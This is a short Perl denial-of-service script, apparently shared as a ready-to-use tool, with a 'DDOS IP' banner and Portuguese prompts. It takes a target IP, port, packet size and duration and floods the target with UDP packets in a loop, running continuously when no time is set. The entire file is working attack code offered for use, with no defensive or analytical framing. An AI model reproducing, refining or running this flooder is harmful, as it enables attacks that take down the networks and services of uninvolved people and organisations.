DDos IP.pl [Perl]

#!/usr/bin/perl

########################
# C0ded By : TP2K1     #
########################

use LWP::UserAgent;
use URI::Escape;
use HTTP::Request;
use Term::ANSIColor;
my $ua = LWP::UserAgent->new();
$ua->timeout(7);

system "cls";
print color("red"), q{

██████╗ ██████╗  ██████╗ ███████╗    ██╗██████╗
██╔══██╗██╔══██╗██╔═══██╗██╔════╝    ██║██╔══██╗
██║  ██║██║  ██║██║   ██║███████╗    ██║██████╔╝
██║  ██║██║  ██║██║   ██║╚════██║    ██║██╔═══╝
██████╔╝██████╔╝╚██████╔╝███████║    ██║██║
╚═════╝ ╚═════╝  ╚═════╝ ╚══════╝    ╚═╝╚═╝



},color("reset");

use Socket;
use strict;

if ($#ARGV != 3) {
  print "flood.pl [IP] [Porta] [Pacotes] [Tempo]\n\n";
  print " Porta = 0: Usar Portas aleatorias\n";
  print " Pacotes = 0: Usar entre 64 e 1024 Pacotes aleatorios\n";
  print " Tempo = 0: Ataque continuo\n";
  exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "IP inválido: $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);


print "Atacando o IP e Porta $ip " . ($port ? $port : "random") . " com " .
  ($size ? "$size-bytes" : "random size") . " de pacotes" .
  ($time ? " por $time segundos" : "") . "\n";
print "Pare o ataque pressionando Ctrl + C\n" unless $time;

for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}